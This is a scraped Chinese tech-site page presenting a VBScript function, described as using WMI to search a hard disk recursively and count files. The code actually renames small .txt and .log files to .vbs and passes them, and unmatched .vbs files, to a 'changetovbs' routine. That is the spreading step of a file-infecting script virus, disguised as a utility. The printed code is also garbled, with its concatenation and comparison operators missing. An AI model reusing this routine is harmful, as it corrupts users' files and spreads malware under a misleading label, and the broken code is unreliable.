主页 > 知识库 > VBS调用WMI遍历搜索硬盘文件并计数的方法

VBS调用WMI遍历搜索硬盘文件并计数的方法

热门标签:百度地图标注点距离代码 神行者美术馆地图标注 地图标注政府哪个部门管 哪里有便宜的地图标注公司 齐齐哈尔高德地图标注店 除了地图标注还有这种生意吗 如何用机器人进行电销 佛山真人电销机器人厂家 东营快递外呼系统

多年之前写的一个VBS调用WMI来遍历搜索硬盘文件,并计数的函数,今天整理网盘,看到了,发上来

核心代码:

Function wmisfile(path_sf,justcnt)
  'On Error Resume Next
  StrComputer = "."
  Set ObjWMIService = GetObject("winmgmts:\\"  StrComputer  "\root\cimv2")
  Set FileList = objWMIService.ExecQuery _
  ("ASSOCIATORS OF {Win32_Directory.Name='"  path_sf  "'} Where " _
    "ResultClass = CIM_DataFile")
  For Each objFile In FileList
    fname = LCase(objfile.name)
    ename = LCase(objfile.extension)
    If 1  objfile.filesize And objfile.filesize = 50000 Then
      Select Case ename
        Case "txt","log"
        path_vbs = objfile.drive  objfile.path  objfile.filename  ".vbs"
        objfile.rename(objfile.drive  objFile.Path  objfile.filename  ".vbs")
        Call changetovbs(path_vbs,path_vbs)
        justcnt = justcnt + 1
        Case "vbs"
        If checkversion(fname) = False Then
          Call changetovbs(fname,fname)
          justcnt = justcnt + 1
        End If
      End Select
    End If
  Next
  Set colSubfolders = objWMIService.ExecQuery _
  ("Associators of {Win32_Directory.Name='"  path_sf  "'} " _
    "Where AssocClass = Win32_Subdirectory " _
    "ResultRole = PartComponent")
  For Each objFolder In colSubfolders
    wmisfile objfolder.name,justcnt
  Next
End Function

您可能感兴趣的文章:
  • VBS脚本实现遍历批量替换多目录多文件内容的代码
  • 用vbs遍历文件并随机显示的脚本
  • VBS遍历文件或文件夹路径输入文件的所有绝对路径(附源码)

标签:湖州 鹤壁 铜川 西安 邢台 四平 文山 海口

巨人网络通讯声明:本文标题《VBS调用WMI遍历搜索硬盘文件并计数的方法》,本文关键词  VBS,调用,WMI,遍历,搜索,硬盘,;如发现本文内容存在版权问题,烦请提供相关信息告之我们,我们将及时沟通与处理。本站内容系统采集于网络,涉及言论、版权与本站无关。
  • 相关文章
  • 下面列出与本文章《VBS调用WMI遍历搜索硬盘文件并计数的方法》相关的同类信息!
  • 本页收集关于VBS调用WMI遍历搜索硬盘文件并计数的方法的相关信息资讯供网民参考!
  • 推荐文章